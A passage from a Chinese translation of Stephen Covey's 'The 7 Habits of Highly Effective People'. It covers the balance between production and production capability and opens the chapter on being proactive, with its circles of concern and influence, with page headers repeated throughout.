换一部新机器,这显然不符合效能原则。 急功近利常常会毁掉宝贵的物质资产。保持产 出与产能的平衡会帮助你更有效地利用物质资产。 金融资产的有效利用也是一样。有多少人本息 不分,或者为了改善生活水平(获得更多的金蛋)而 动用本金?本金与利息就相当于产能与产出,本金减 少,产生利息的产能就减少,收入当然也会减少, 财产缩水,最后连起码的生活水平都无法维持。 我们最宝贵的金融资产就是赚钱的能力。如果 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 93 ~ 不能持续投资以增进自己的产能,眼光就会受到局 限,只能在现有的职位上踏步,每天忙忙碌碌,就 怕老板对自己的印象不佳,既在经济上受制于人, 又担心职位不保。这同样称不上效能。 对人力资产而言,产出与产能之间的平衡更为 重要,因为正是人控制着物质资产与金融资产。 假设夫妻双方都只想着拿到金蛋,享受权益, 却不注意维护感情的纽带,即权益的来源,生活中 毫无热情、体贴可言,全然不知哪怕一点点的关切 和照顾也会对维系深厚感情的重要作用;两个人一 味地玩弄手段,操控对方,只顾满足自己的需要, 维护自己的地位,还不断地列举证据证明对方的错 误。长此以往,爱情、热情、柔情都会渐渐消退— —会下金蛋的鹅日益虚弱。 亲子关系又如何呢?孩子年幼的时候,依赖性强 而且极为脆弱,父母很容易忽略对产能的培养,比 如教育、沟通和聆听,只知道利用地位优势来操控 子女,实现自己的期望。父母总认为比孩子更强壮, 更聪明,而且永远正确,有时干脆直接吩咐他们怎 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 94 ~ 样做,必要的话还用吼叫、恐吓和威胁的方法,一 定要遂了自己的心愿。 有的父母会一味地纵容子女,借此获得爱戴与 好感,即金蛋,结果孩子在成长的过程中毫无标准, 缺乏自律能力和责任感。 不论权威式还是纵容式的管教,都属于偏重金 蛋的心态,或想让子女依自己的规划行事,或想取 悦子女,唯独忽略了那只鹅,即子女的责任感、自 律能力和自信心,而这些在若干年后对他们面临重 大抉择和实现重要目标有非同寻常的意义。而且你 们的关系会如何呢?到子女长到十几岁,他能否感到 你愿意不妄加评判地聆听,真心地尊重和关怀他, 值得他信赖呢?你们的关系是否好到足以让你顺利 与他亲近、沟通并施加积极影响呢? 比如,你想保持房间整洁,即产出——金蛋; 又想让女儿整理房间,即产能,女儿就是那只能产 出金蛋的资产鹅。 在产出与产能平衡的情况下,女儿会心甘情愿 地整理房间,不需要旁人催促。她是一项可贵的资 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 95 ~ 产,一只会生金蛋的鹅。 但是如果你只关注房间整洁这个产出,总是用 唠叨、威胁、吼叫等方法得到金蛋,那就等于牺牲 了鹅的健康与幸福。 团体的产能 一切正确原则的可贵之处就在于它们的有效性 和适用性。本书提到的原则不仅适用于个人,也适 用于包括家庭在内的团体。 如果一个团体的成员在利用物质资产时,不遵 守产出与产能平衡的原则,便会降低整个团体的效 能,最终导致鹅的死亡。 举例来说,某人负责管理一部机器,时值公司 处于迅速扩张阶段,升迁机会多多,他急于讨好领 导,于是让机器日夜不停地极速运转,却从不维修 保养,结果产量大幅提高,成本下降,利润激增。 很快他就获得了晋升,得到了金蛋。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 96 ~ 但是接替他职位的那个人得到的却是一只生病 的鹅,它需要更多休息和保养。结果成本飞涨,利 润剧降,这些损失自然会算到接替者的账上,而不 是那个破坏了资产的前任,因为会计账簿上只会列 出产量、成本与利润。 产出与产能平衡的原则对于一个团体运用人力 资产——顾客与员工来说更为重要。 有一家以蛤蜊浓汤叫座的餐厅,每天午餐时间 都高朋满座。后来餐厅转手,唯利是图的新老板开 始在浓汤中掺水,第一个月的确大发横财,因为成 本降低,顾客却没少。但是渐渐地顾客不再上当.失 去了顾客信任的餐厅终于门可罗雀。此时老板使尽 浑身解数,妄图收复失地,只可惜他已经失去了宝 贵的资产——顾客的信任,会生金蛋的鹅已不复存 在。 有些公司一方面大谈顾客至上,另一方面却完 全忽略为顾客提供服务的员工。产出与产能平衡的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 97 ~ 原则告诉我们:你希望员工如何对待顾客,就要如 何对待员工。 你可以买到员工的双手,却买不到他的心,而 心才是忠诚与热忱的根源;你可以买到员工的身体, 却买不到他的头脑,而头脑才是创造力与智慧的源 泉。 在一次集体活动中有人问我:‚怎样对付那些 懒散、不称职的员工?‛一位仁兄回答:‚投几颗手 榴弹!‛有几个人颇附和这种大男子气的主张—— ‚不好好干就走人‛。 接着又有一个人问:‚谁来收拾残局呢?‛ ‚不会有残局。‛ ‚那你怎么不这样对待顾客呢?‘不想买就滚 蛋!‛’ ‚那怎么行呢?‛ ‚那这样对待员工就行吗?‛ ‚因为他们是我雇来的。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 98 ~ ‚原来如此。请问你的员工是否忠心耿耿?是 否勤奋工作?人员流动率如何?‛ ‚开什么玩笑?现在根本找不到得力助手,人 人都想请假、兼职、跳槽,对公司毫不在乎。‛ 像这种只重金蛋的态度和思维定式,实在难以 激发员工的热情和潜能。短期的盈利底线固然重要, 但却不应凌驾一切之上。 效能在于平衡。一味重视产出会导致糟糕的健 康状况、耗损的机器设备、透支的银行存款或破裂 的人际关系。而太过维护产能,就如同一个每天长 跑三四个小时的人,宣称可以因此多活十年,却不 知大好时光都在跑步中流逝。又好像那些只知念书, 不肯生产的人,坐享别人的金蛋,自己永远不敢面 对现实。 唯有在金蛋(产出)与鹅的健康和幸福(产能)之 间取得平衡,才能实现真正的效能。虽然你常会因 此面临两难选择,但这正是效能原则的精髓所在。 它是短期利益与长期目标之间的平衡,是好分数与 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 99 ~ 刻苦努力之间的平衡,是清洁的房间与良好的亲子 关系之间的平衡。 日常生活中,你是否曾为了多收获几枚金蛋而 废寝忘食地工作,结果弄得精疲力竭,无法继续工 作?其实若能好好睡一觉,那么第二天就会精力充沛, 完成更多的工作,更好地迎接这一天的挑战。 再比如,你强迫别人按你的意志行事,结果却 发现你们的关系变得空洞无物;反过来,如果你能 用时用心经营人际关系,就能赢得信任与合作,通 过开诚布公的交流获得实质性的进展。 产出与产能平衡的原则是效能的精髓,放之四 海而皆准。不管你是否遵从,它都会存在。它是指 引人生的灯塔,是效能的定义和模式,是本书中七 个习惯的基础。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 100 ~ 第二部分 个人领域的成功: 从依赖到独立 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 101 ~ 第三章 积极主动 ——个人愿景的原则 人性的本质是主动而非被动的,人类不仅能针 对特定的环境选择回应方式,更能主动创造有利的 环境。 采取主动不等于胆大妄为,惹是生非或滋事挑 衅,而是要让人们充分认识到自己有责任创造条件。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 102 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 103 ~ 最令人鼓舞的事实,莫过于人类确实能主动努 力以提升生命阶值。 ——亨利·戴维·梭罗(Henry David Thoreau) 美国文学家及哲学家 读这本书的时候请试着跳出自我的框框,把意 识转移到屋子的某个角落,然后用心客观地审视自 己,你能站在旁观者的角度来观察自己吗?你能描述 现在的心情吗?你现在精神状态如何?再想一想你的 头脑是怎样工作的,它反应灵敏吗?是不是正在为这 个心理实验的目的而疑惑? 以上都是人类特有的精神活动,而动物则缺乏 这种自我意识(Self—awareness)的能力,即思考自 己的思维过程的能力。人之所以能成为万物之灵, 一代又一代地不断实现重大进步,关键就在于此。 这也是我们能从自己和他人的经验中吸取教训,培 养和改善自身习性的根本原因。 凭借自觉意识, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 104 ~ YF]可以客观检讨我们是如何“看待”自己—— 也就是我们的“自我思维”(Self—paradigm)。所 有正确有益的观念都必须以这种“自我思维”为基 础,它影响我们的行为态度以及如何看待别人,可 说是一张属于个人的人性本质地图。有了这种认识 之后,将心比心,我们也就不难体会他人的想法。 否则难免会以己之心度人之意,以致于表错情会错 意。幸好人类独有的自我意识,使我们能够检讨自 己的自我思维究竟确实发自内在, 社会乊镜 如 果 我 们 仅 仅 通 过 “ 社 会 之 镜 ” (Social Mirror),即时下盛行的社会观点以及周围人群的意 见、看法和思维定式来进行自我认知,那无异于从 哈哈镜里看自己。 “你从不守时。” “你怎么总是把东西弄乱?” [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 105 ~ “你肯定是个艺术家!” “你真能吃!” “我不相信你会取胜!” “这么简单的事你都弄不懂吗?” 然而,这些零星的评语不一定代表真正的你, 与其说是影像,不如说是投影,反映的是说话者自 身的想法或性格弱点。 时下盛行的社会观点认为,环境与条件对我们 起着决定性的作用。我们不否认条件作用的影响巨 大,但并不等于承认它凌驾于一切之上,甚至可以 决定我们的命运。 实际上根据这种流行看法而绘制的社会地图一 共可以分为三种,也可以说是已经被广泛接受的用 来解释人性的三种“决定论”,有时单独使用,有时 交叉混合使用: 基因决定论(Genetic Determinism):认为人的 本性是祖先遗传下来的。比如一个人的脾气不好, 那是因为他先祖的 DNA 中就有坏脾气的因素,又借 着基因被继承下来。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 106 ~ 心理决定论(Psychic Determinism):强调一个 人的本性是由父母的言行决定的。比如你总是不敢 在人前出头,每次犯错都内疚不已,那是与父母的 教育方式和你的童年经历分不开的,因为你忘不了 自己尚且稚嫩、柔弱和依赖他人时受到的心灵伤害, 忘不了小时候因为表现欠佳而遭遇的惩罚、排斥和 与人比较的感受。 环境决定论(Environmental Determinism):主 张环境决定人的本性。周遭的人与事,例如老板、 配偶、叛逆期子女,或者经济状况乃至国家政策, 都可能是影响因素。 这三种地图都以“刺激一回应”理论为基础, 很容易让人联想到巴甫洛夫(Pavlov,1849—1936, 曾获 1904 年诺贝尔生理学医学奖——译注)所做的 关于狗的实验。其基本观点就是认为我们会受条件 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 107 ~ 左右,以某一特定方式回应某一特定刺激。(见图 3 —1) 那么这些“决定论”地图的准确性和作用如何? 能否清晰反映人类真正的本性?能否自圆其说?是否 以内心的原则为基础? 选择的自由——刺激和回应乊间 维克多·弗兰克尔(Victor Frankl,1905—1997, 出生于奥地利的美国神经与精神病学教授——译注) 的感人事迹可以帮助我们回答上述疑问。 弗兰克尔是一位深受弗洛伊德心理学影响的决 定论者。该学派认为一个人的幼年经历会造就他的 品德和性格,进而决定他的一生。 身为犹太人,弗兰克尔曾在“二战”期间被关 进纳粹德国的死亡集中营,其父母、妻子与兄弟都 死于纳粹魔掌,只剩下一个妹妹。他本人也饱受凌 辱,历尽酷刑,过着朝不保夕的生活。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 108 ~ 有一天,他赤身独处于狭小的囚室,忽然有一 种全新的感受,后来他称之为“人类终极的自由”。 虽然纳粹能控制他的生存环境,摧残他的肉体,但 他的自我意识却是独立的,能够超脱肉体的束缚, 以旁观者的身份审视自己的遭遇。他可以决定外界 刺激对自己的影响程度,或者说,在遭遇(刺激)与 对遭遇的回应之间,他有选择回应方式的自由或能 力。 这期间他设想了各式各样的状况,比如想象他 从死亡营获释后,站在讲台上给学生讲授自己从这 段痛苦遭遇中学得的宝贵教训,告诉他们如何用心 灵的眼睛看待自己的经历。 凭着想象与记忆,他不断修炼心灵、头脑和道 德的自律能力,将内心的自由种子培育得日益成熟, 直到超脱纳粹的禁锢。对于物质环境,纳粹享有决 定权和一定的自由,但是弗兰克尔享有更伟大的自 由——他强大的内心力量可以帮助他实践自己的选 择,超越纳粹的禁锢。这种力量感化了其他的囚犯, 甚至狱卒,帮助狱友们在苦难中找到生命的意义, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 109 ~ 寻回自尊。 在最恶劣的环境中,弗兰克尔运用人类独有的 自我意识,发掘了人性最根本的原则,即在刺激与 回应之间,人有选择的自由。 选择的自由包括人类特有的四种天赋。除自我 意识外,我们还拥有“想象力(Imagination)”,即 超越当前现实而在头脑中进行创造的能力;“良知 (Conscience)”,即明辨是非,坚持行为原则,判断 思 想 、 言 行 正 确 与 否 的 能 力 ;“ 独 立 意 志 (Independent Will)”,即基于自我意识、不受外力 影响而自行其是的能力。 其他动物即使智慧再高也不具备这些天赋。用 计算机程序打个比方:动物的程序由本能与训练设 定,它们可以被训练做出回应,但却不能对训练负 责,换言之,动物无法指导训练,不能改变程序, 甚至根本意识不到。人类却可自创程序,完全不受 本能与训练所约束。因此,动物的能力有限,人类 却永无止境。生而为人,如果也像动物一样,只听 命于本能及后天环境的影响,发展自然极其有限。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 110 ~ 但若能加以锻炼和开发,则会在不同程度上实现我 们独具的人类潜能,在刺激与回应之间自由选择就 是我们最大的能力。 “积极主动"的定义 弗兰克尔在狱中发现了人性的这个基本原则, 并用其绘成了一幅精准无误的地图(见图 3-2),由 此发展出高效能人士在任何环境中都应具备的、首 要 的 , 也 是 最 基 本 的 习 惯 — — “ 积 极 主 动 (Be [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 111 ~ Proactive)”。 积极主动不仅指行事的态度,还意味着为人一 定要对自己的人生负责。个人行为取决于自身的抉 择,而不是外在的环境,人类应该有营造有利的外 在环境的积极性和责任感。 责任感(Responsible),从构词法来说是能够回 应(Response—able)的意思,即选择回应的能力。 所有积极主动的人都深谙其道,因此不会把自己的 行为归咎于环境、外界条件或他人的影响。他们根 据价值观,有意识地选择待人接物的方式,不会因 为外界因素或一时情绪而冲动行事。 积极主动是人类的天性,即使生活受到了外界 条件的制约,那也是因为我们有意或无意地选择了 被 外 界 条 件 控 制 , 这 种 选 择 称 为 消 极 被 动 (Reactive)。这样的人很容易被自然天气所影响, 比如风和日丽的时候就兴高采烈,阴云密布的时候 就无精打采。而积极主动的人则心中自有一片天地, 无论天气是阴雨绵绵还是晴空万里,都不会对他们 产生影响,只有自己的价值观才是关键因素,如果 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 112 ~ 认定了工作第一,那么即使天气再坏,敬业精神依 旧不改。 消极被动的人还会受到“社会天气”的影响。 别人以礼相待,他们就笑脸相迎,反之则摆出一副 自我守护的姿态。心情好坏全都取决于他人的言行, 任由别人的弱点控制自己。 积极主动的人理智胜于冲动,他们能够慎重思 考,选定价值观并将其作为自己行为的内在动力; 而消极被动的人则截然相反,他们感情用事,易受 环境或条件作用的驱使。 但这并不意味着积极主动的人对外界刺激毫无 感应,只不过他们会有意无意地根据自己的价值观 来选择对外界物质、心理与社会刺激的回应方式。 埃莉诺·罗斯福(Eleanor Roosevelt,美国小 罗斯福总统的夫人——译注)曾说:“除非你愿意, 否则没人能伤害你。”圣雄甘地(Gandhi)也曾经说过 类似的话:“除非拱手相让,否则没人能剥夺我们的 自尊。”可见最刻骨铭心的伤害并非悲惨遭遇本身, 而是我们竟然会听任这些遭遇发生在自己身上。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 113 ~ 在感情上,这个说法一时很难让人接受,惯于 怨天尤人者尤其如此,但只有真正接受了“我昨日 的选择决定了今日的我”的观念,才可能说“我有 权另做选择”。 有一次,我做一个主题为‚积极主动‛的演讲。 讲到一半时,一位女听众突然站起来大声喧哗,引 起不少人侧目。她自觉不好意思。才勉强坐回座位。 可是依旧按捺不住,又向周围的人大发议论,神情 相当愉快。我不禁想一探究竟,于是问她是否愿意 与大家分享心得,让她有了一吐为快的机会: ‚你们绝对想象不到我的经历!我是一个护士, 曾经看护过一个算得上世界上最挑剔、最难侍候的 病人。我做什么他都觉得不够好,不但从来没有一 句感谢的话,而且还处处找茬,与我作对,结果我 每天都过得十分痛苦,然后又不由自主地把痛苦发 泄在家人身上。其他护士也有同感,我们简直就希 望他早点死掉。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 114 ~ 可是刚才你却在台上大谈积极主动,说什么除 非我自愿,否则没有什么事可以伤害到我,我的痛 苦都是我自找的!这实在让我接受不了。 可是后来我又反复思考了这番话,从内心深处 问自己:我真有能力选择自己的回应方式吗? 结果居然发现我的确有这个能力。当我囫囵吞 枣般咽下这苦口良药,并承认是自己选择了痛苦之 后,我渐渐认识到我的确可以选择不痛苦。 所以那一刻我站了起来,感觉自己像是个重生 的犯人,有种向全世界狂呼的欲望:‘我自由了!我 摆脱了牢笼!不再受制于别人对待我的方式。‛’ 因此,伤害我们的并非悲惨遭遇本身,而是我 们对于悲惨遭遇的回应。尽管这些事的确会让人身 心受创或者经济受损,但是品德和本性完全可以不 受影响。事实上越痛苦的经历,越能磨炼意志,开 发潜能,提升自如应对困境的能力,甚至还可能感 召他人争取同样的自由。 前面提到的弗兰克尔就是一个在逆境中追求个 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 115 ~ 人自由进而激励他人的很好的例子。此外,许多越 南战俘的自传也形象描述了这种终极自由的无穷力 量,而基于这种自由的积极回应对战俘营文化和战 俘们的影响延续至今。 我们也可能有幸认识一些这样的人,身处困境 ——或罹患重病,或严重残障——却始终顽强拼搏, 令人钦佩,发人深省。他们超越了痛苦和环境,让 生命价值得以体现和升华,并对他人产生了震撼、 长久而深远的影响。 弗兰克尔曾指出人生有三种主要的价值观,一 是经验价值观(Experiential Value),来自自身经 历;二是创造价值观(Creativevalue),源于个人独 创;三是态度价值观(Attitudinal Value),即面临 绝症等困境时的回应。这三种价值中,境界最高的 是态度价值。依我多年的经验证明,这种说法的确 有道理。 逆境往往能激发思维转换,使人以全新的观点 看待世界、自己与他人,审视生命的意义,进而思 考应该如何回应,这种更宽广的视角反映的就是可 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 116 ~ 以提升和激励所有人的态度价值观。 采叏主动 人性的本质是主动的。人类不仅能针对特定环 境选择回应方式,更能主动创造有利环境。但这不 等于胆大妄为,惹是生非或滋事挑衅,而是要让人 们充分认识到自己有责任创造条件。 我经常建议有意跳槽的人采取更多主动,不妨 做几个关于兴趣和能力的测验,研究自己心目中的 行业的状况,甚至思考自己的求职对象正面临何种 难题,然后以有效的表达方式,向对方证明自己能 够协助他们解决问题。这就是“解决方案式的推销 (自己)”(Solution Selling),是事业成功的重要 诀窍之一。 前来咨询的人通常都不否认这种做法的确有助 于求职或晋升,但是又常常以各种借口拒绝采取必 要步骤来实践这种主动。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 117 ~ “我不知道该到哪儿去做关于兴趣和能力的测 验。” “如何知道某行业或者某公司面临的难题呢? 谁能帮我?” “我不知道该如何有效表达自己的想法。” 太多人只是坐等命运的安排或贵人相助,事实 上,好工作都是靠自己争取而来的。在我家,任何 人都别想推卸责任,让别人替他设法收拾残局。即 使孩子年纪还小,我照样要求他们: “自己想办法。” 而家人也已习惯这种作风。 要求责任感并非贬抑。主动是人的天性,尊重 这种天性,至少可提供对方一面镜子,以便清晰且 未扭曲地反映自我。 由于个人的成熟度不同,对尚处于情绪依赖阶 段的人,不必期望太高。但至少可创造有利的气氛, 逐渐培养他的责任感。 发被动为主动 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 118 ~ 积极主动与消极被动有天壤之别,尤其再配合 聪明才智,差距就更远了。 采取主动是实现人生产能与产出平衡的必要条 件,对于培养七个习惯来说也不例外。本书的其余 六个习惯,都以积极主动为根基,而每个习惯又都 会激励你采取主动,但是如果你甘于被动,就会受 制于人,面临截然不同的发展与机遇。 我曾经参加过某行业的每季业绩检讨会,当时 正值经济衰退,那一行所受的打击更甚。因此会议 一开始,各厂商的士气都很低落。 第一天的主题是该行业的现况。大家表示,不 得不裁掉熟识的员工以维持企业的生存。结果会后, 每个人都比会前还要灰心。 第二天讨论该行业的未来,主题围绕着日后左 右其发展的因素。议程结束时,沮丧的气氛又深一 层,人人都认为事情还会更加恶化。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 119 ~ 到了第三天,大家决定换个角度,着重于积极 主动的做法:‚我们将如何应对?有何策略与计划? 如何主动出击?‛于是早上商讨加强管理与降低成本, 下午则筹划如何开拓市场。以脑力激荡方式,找出 若干实际可行的途径,再认真讨论。结果为期 3 天 的会议结束时,人人都士气高昂,信心十足。 这次会议的结论是: 一、本行业现状并不好,可以预测短期内还会 更恶化。 二、但我们可以采取正确的对策,改进管理, 降低成本,提高市场占有率。 三、这个行业的状况会比过去都好。 积极行动不同于积极思考。我们不但需要面对 现实,还要面对未来。但真正的现实是,我们有能 力以积极态度应对现状和未来,逃避这一现实,就 只能被动地让环境和条件决定一切。 包括企业、家庭和各级社会团体在内的任何组 织都可以采取积极的态度,将其与创造力结合起来, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 120 ~ 在内部营造积极主动的企业文化氛围,不必坐等上 苍的恩赐,而是通过集思广益,主动培育团体的共 同价值观和目标。 聆听自己的语言 我们可以利用自我意识检讨自身的观念,以言 语为例,它颇能真切反映一个人对环境的态度。 消极被动的人,言语中往往会暴露出推卸责任 的意图,例如: “我就是这样做事的。”我天生这样,这辈子改 不掉了。 “他把我气疯了!”责任不在我,是外界因素控 制了我的情绪。 “我根本没时间做。”又是外界因素——时间控 制了我。 “要是我妻子能更耐心一点就好了。”别人的行 为会影响我的效能。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 121 ~ “我只能这样做。”意味着迫于环境或他人。 表 3—1 左边一栏的语言源于决定论的思维定式,其本 质就是推卸责任。我负不了责任,我无法自由选择 回应的方式。 曾经有一位学生这样向我请假:‚请您准我的 假,我必须随网球队到外地比赛。‛ 我问他:‚你是自愿,还是不得不去?‛ ‚我真的不得不去。‛ ‚不去会有什么后果?‛ ‚他们会把我从校队中开除。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 122 ~ ‚你愿意出现这种结果吗?‛ ‚不愿意。‛ ‚换句话说,为了待在校队,你选择请假,可 是缺课的后果又如何呢?‛ ‚我不知道。‛ ‚仔细想一想,缺课的自然后果是什么?‛ ‚您不会开除我吧?‛ ‚那是人为的社会后果,而不能留在网球队, 就不能打球,那是自然后果。缺课的自然后果是什 么呢?‛ ‚我想大概是失去了学习这堂课的机会。‛ ‚不错,所以你必须权衡后再做出选择。如果 换成是我,我知道我也会选择网球巡回比赛,但千 万不要说你是被迫这么做的。‛ 最后这个学生当然还是参加比赛,但却是出于 自己的选择。 推诿责任的言语往往会强化宿命论。说者一遍 遍被自己洗脑,变得更加自怨自艾,怪罪别人和环 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 123 ~ 境,甚至把星座也扯了进去。 我曾碰到这么一位男士,他说:‚你讲得很有 道理,可是每个人的状况不同。我的婚姻真是让我 忧心忡忡,我和太太已经失去了往日的感觉,我猜 我们都已经不再爱对方了。该怎么办呢?‛ ‚爱她。‛我回答。 ‚我告诉过你,我已经没有那种感觉了。‛ ‚那就去爱她。‛ ‚你还没理解,我是说我已经没有了爱的感 觉。‛ ‚就是因为你已经没有了爱的感觉,所以才要 去爱她。‛ ‚可是没有爱,你让我怎么去爱呢?‛ ‚老兄,爱是一个动词,爱的感觉是爱的行动 所带来的成果,所以请你爱她,为她服务,为她牺 牲,聆听她心里的话,设身处地为她着想,欣赏她, 肯定她。你愿意吗?‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 124 ~ 在所有进步的社会中,爱都是代表动作,但消 极被动的人却把爱当做一种感觉。好莱坞式的电影 就常灌输这种不必为爱负责的观念——因为爱只是 感觉,没有感觉,便没有爱。事实上,任由感觉左 右行为是不负责任的做法。 积极主动的人则以实际行动来表现爱。就像母 亲忍受痛苦,把新生命带至人世,爱是牺牲奉献, 不求回报。又好像父母爱护子女,无微不至,爱必 须通过行动来实现,爱的感觉由此而生。 关注圈与影响圈 看一个人的时间和精 力集中于哪些事物,也能 大致判断他是否积极主动。 每个人都有格外关注的问 题,比如健康、子女、事 业、工作、国债或核战争 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 125 ~ 等等,这些都可以被归入“关注圈”(Circle of Concem),以区别于自己没有兴趣或不愿理会的事物。 (见图 3—3) 关注圈内的事物, 有些可以被掌控,有些 则超出个人能力范围, 前者可以被圈成一个较 小的“影响圈”(Circle of Influence)。(见图 3—4)观察一个人的时 间和精力集中于哪个圈,就可以判断他是否积极主 动。 积极主动的人专 注于“影响圈”,他们 专心做自己力所能及 的事,他们的能量是 积极的,能够使影响 圈不断扩大,扩张和 成长。(见图 3—5) [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 126 ~ 只要我们的焦点在关注圈,就等于是允许自己 受制于外界条件,自然就不会主动采取必要措施来 推动积极变化。 前面提到我有一个儿子在学校里遇到了麻烦, 我和桑德拉都很担心,怕他因为那些弱点而被别人 轻视。但这些都属于关注圈范围,结果错误的焦点 不但没有 反之,消极被动的人则全神贯注于“关注圈”, 紧盯他人弱点、环境问题以及超出个人能力范围的 事情不放,结果越来越怨天尤人,自艾自怜,并不 断为自己的消极 行为寻找借口。 错误的焦点产生 了消极能量,再 加上对力所能及 的事情的忽略, 就造成了影响圈 日益缩小。(见图 3—6)解决问题, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 127 ~ 反而让我们自己倍感忧虑和无助,同时也加重了孩 子的依赖性。后来我们聚焦于影响圈,着眼于自己 的思维定式,结果真的有效。结论是我们不必担忧 外界条件,只要先从自己做起,就可以化阻力为助 力。 人与人的地位、财富、角色与人际关系不尽相 同,因此在某些情况下,一个人的关注圈可能会小 于影响圈。(见图 3—7)这说明此人由于自己的缘故, 在情感方面缺乏远见和判断力,消极而又自私,全 部精力都放在关注圈内。 积极主动的 人虽然更看重自 己的影响力,但 也有一个关注圈, 只不过他们的关 注圈往往不小于 影响圈,这样才 能有效发挥影响 力。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 128 ~ 直接控制、间接控制和无法控制 我们面对的问题可以分为三类:可直接控制的 (问题与自身的行为有关),可间接控制的(问题与他 人的行为有关)和无法控制的(我们无能为力的问题, 例如我们的过去或现实的环境)。对于这三类问题, 积极主动的人都是由影响圈着手,加以解决。 可直接控制的问题:可以通过培养正确习惯来 解决,这显然在影响圈范围内,本书第二部分“个 人领域的成功”中讨论到的习惯一、二、三即属于 这一类。 可间接控制的问题:可以通过改进施加影响的 方法来解决,例如采取移情方式而不是针锋相对, 以身作则而不是口头游说。这在第三部分“公众领 域的成功”中的习惯四、五、六中有所论述。 无法控制的问题:我们要做的就是改变面部曲 线,以微笑、真诚与平和来接受现实。纵使有再多 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 129 ~ 不满,也要学着泰然处之,这样才不至于被问题控 制。匿名戒酒组织鼓励成员的祷词是这样的: 上帝啊,请赐我平静的心去接受我无法改变的, 请赐我勇敢的心去改变我能够改变的,请赐我智慧 的心去去辨别它们。 不论是能直接控制的、间接控制的还是无法控 制的问题,解决的第一步都掌握在我们自己手里。 我们可以改变习惯、手段和看法,而这些都属于影 响圈范围。 扩大影响圈 令人鼓舞的是,在对环境选择回应方式的同时, 我们对环境的影响力也得到增强。这就像一个化学 方程式,改变其中的某一部分,其结果就会跟着改 变。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 130 ~ 几年前我曾为一家公司提供服务,其总裁被公 认为精力旺盛,目光敏锐,能洞悉行业发展趋势, 而且才华横溢,精明干练。但是他在管理方面却独 断专行,对部属总是颐指气使,就好像他们毫无判 断能力一样。 这几乎让所有主管人心涣散,一有机会便聚集 在走廊上大发牢骚。乍听之下,他们的抱怨不但言 之有理,而且用心良苦,仿佛确实在为公司着想, 但实际上他们没完没了的抱怨无非是在以上司的缺 点作为推卸责任的借口。 有一位主管说:‚那天我把所有事情都安排好 了,他却突然跑来下了一通完全不同的指示,几句 话就把我这几个月的所有努力一笔勾销。我真不知 道该如何做下去,他还有多久才退休啊?‛ 有人答道:‚他才 59 岁,你想你还能再熬 6 年 吗?‛ ‚不知道,不过他这种人大概是不会主动退休 的。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 131 ~ 然而,有一位主管却不愿意向环境低头。他并 非不了解顶头上司的缺点,但他的回应不是批评, 而是设法弥补这些缺失。上司颐指气使,他就加以 缓冲,减轻属下的压力。又设法配合上司的长处, 把努力的重点放在能够着力的范围内。 有一天,我以顾问的身份与这位总裁交谈,他 大为夸赞这位主管。以后再开会时,其他主管依然 被命令行事,唯有那位积极主动的主管会被征询: ‚你的意见如何?‛——他的影响圈扩大了。 这在办公室造成不小的震撼,那些只知抱怨的 人又找到了新的攻击目标。对他们而言,唯有推卸 责任才能立于不败之地,因为肯负责,就得不怕失 败,为了免于为自己的错误负责,有人干脆把责任 推得一千二净。这种人以尽量挑剔别人的错误为能 事,借此证明‚错不在我‛。 幸好这位主管对同事的批评不以为意,仍以平 常心待之。久而久之,他对同事的影响力也增加了。 后来,公司里任何重大决策必经他的参与及认可, 总裁也对他极为倚重,并未因他的表现受到威胁。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— 